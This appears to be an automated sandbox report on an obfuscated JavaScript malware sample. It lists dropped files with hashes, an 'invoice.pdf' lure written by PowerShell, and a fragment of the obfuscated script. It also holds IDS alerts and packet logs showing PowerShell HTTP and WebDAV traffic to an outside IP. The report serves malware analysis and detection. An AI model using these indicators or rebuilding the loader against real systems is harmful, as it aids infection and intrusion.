Preview:	...........]..8.}. .)."{g.-.}plw.A........,..Y.tI.g.....)Q.H..'p#p`.U.S.H.)....e....a.><..w.....Dw..9.0Y~.......1.._......j.....Oh.q.\,....tn.....w..i.f..?A../.h.D..........n^......M..w......C....!..4.........w4q..F.1I.!A....(.........TN..'8...Q.........^...za..0Hm/.....{.....\....' ..1..0.qzD........'Y...... .m..8Bh... ...4...z..}.9..Lqp..M \Xe......Q..0..+C.B.4Ijm...o..co..q.d.~.8...\/.4.]....8...1.].D....K.\|...hp\..... .ch.....\.g..Qpf.{N....n<......'.....KS(.k..$Q.R...6..'.....7.!....{.....b....C.v~...x...FO^..O.d.>'>...........&.. ..WR...6...^.D..A...d1\|..F.g..g;.\...m..V..0..le.......4J..p.(..l'.....n_........n.0..P...Y.KJ.S.B.><.\C.}..~....,..k..V....XI#w..B..Q.B...t..\.lB;&!.n.(._=..>...+..a.......N.X{.{..ly.$V......@..E.....R.j.x[..V.....Ij.....mQ....-D....U1..J...F+.%...6.g.T.....X....(...w...8a..\1..^z.6...@R....l.i.A..,.......o..~^bM.E..qW^?.......!..)u.(&*.v....."c.H..Pp..uy...DP8.m3.:T..U=............0-~.B..w...D..'

C:\Users\user\AppData\Local\Temp\acrocef_low\a45723a2-e2f3-4b31-94da-adfd28093538.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3PhTJJJJv+9UZP5+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEas:O3PJJJJJm94kegf121YS8lkipdjMMNBn
MD5:	0FD93E20C1612CF7CCA0771CD40D762F
SHA1:	696E5156CF167B4CF06FF0D5DF3B5D46FABDBD77
SHA-256:	9CA209D9F3FEF3163FA292A2523DFFB0CE40E2E1067F4E4502A3B9DC8263B56A
SHA-512:	4CD9E26DE55F15209FD93F553965596986144C4B9A5301FFA8A067492DDB2E19DB2CE1B35F33BED0883705972151F058E6AAD5A143AD1BC0735D94B056BA6B58
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a6a2feb2-56d2-473a-bb4b-0fdf60bb504f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ac5f04c4-bdb9-441e-89ba-b11dcf6ffeac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\cea1a74b-6d54-4b22-b43f-080f1f95b937.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\eaf14c50-b9db-42ce-83fc-407c9a0f5ed8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17822), with CRLF line terminators
Entropy (8bit):	4.902091950889228
TrID:
File name:	137112093815427392.js
File size:	21'392 bytes
MD5:	48fbba3a11d01f66bd02c2450923569b
SHA1:	47669c2efb5872dbed8d5b3a2063595762ca7a9b
SHA256:	315cc45572d16486eb1bfb629516144e6fe16668a500f1ff0e2bdb999a4a6529
SHA512:	fda951ac043abbb0a8d39083b21b1a33e19b37af3bbeddb345770a46a65ebd6df5a977f7cc616d4b29036228b81fd8518e53dbee513e14aec292337ea14fe801
SSDEEP:	384:mu0Cr+u0oRoooDoooYGqJemDieHkgFx9PFOTCHEvUOf8uyMjpTuSuMmXmNTV2wI4:mu0o+u0oRoooDoooYGqJ5ieGf8uyMjpd
TLSH:	2DA216C4F821D35F8CE94AF5CDDB049311AF409CD99958C538DAB6D244C8AADF0EAD39
File Content Preview:	function gnwuu(){sucqp=[1031,3079,5127,4103,2055,3072];var byuishlet=this[pkdavf+zfrapoq+upzqjifhw+roagouq+kpmybirig+wsjurqwi+oroar+wandb](this[yismqqmuf+txywicsvp+ggoaamvme+upzqjifhw+pjvvl+pkdavf+wandb][pxpmfd+upzqjifhw+kpmybirig+zfrapoq+wandb+kpmybirig+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:51:00.931499+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49712	193.143.1.205	80	TCP
2025-01-10T22:51:03.216817+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49714	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:00.107839108 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.112688065 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.112781048 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.115294933 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.120096922 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931404114 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931457996 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931471109 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931499004 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.931531906 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931590080 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.931600094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931612015 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931622982 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931633949 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931652069 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.931706905 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.931740046 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931751966 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.931802988 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:00.989881039 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.989913940 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:00.989963055 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.060076952 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060106993 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060118914 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060132980 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060148954 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.060183048 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.060216904 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060247898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060259104 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060292006 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.060339928 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060352087 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.060383081 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.061187983 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061202049 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061219931 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061228991 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.061232090 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061244965 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061264992 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.061280012 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.061929941 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061961889 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.061974049 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.062005997 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.062092066 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.062103987 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.062131882 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.062793016 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.062843084 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.120599031 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.120646000 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.120656013 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.120687008 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.157891035 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.157919884 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.157932997 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.157959938 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.157991886 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.188520908 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188539028 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188599110 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.188617945 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188631058 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188643932 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188685894 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.188709021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188720942 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188730955 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.188750029 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.188772917 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.189421892 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189433098 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189471960 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.189568996 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189580917 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189591885 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189614058 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.189656973 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189667940 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189678907 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.189698935 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.189723015 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.190270901 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190288067 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190298080 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190321922 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.190402985 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190413952 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190423965 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190434933 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.190443993 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.190474033 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.191212893 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191248894 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191256046 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.191261053 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191304922 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.191334009 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191346884 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191384077 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.191385984 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191399097 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.191431999 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.192235947 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192246914 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192257881 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192274094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192285061 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192285061 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.192296982 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192307949 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.192327023 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.193147898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.193226099 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.193242073 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206806898 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206825018 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206836939 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206898928 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.206924915 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.206934929 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206945896 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.206985950 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.207041025 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.207052946 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.207093954 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.244311094 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.244349957 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.244446993 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.286910057 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.286963940 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.287024021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.287055016 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.287065983 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.287086964 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.287111998 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.287120104 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.287172079 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.317517042 CET	80	49712	193.143.1.205	192.168.2.5
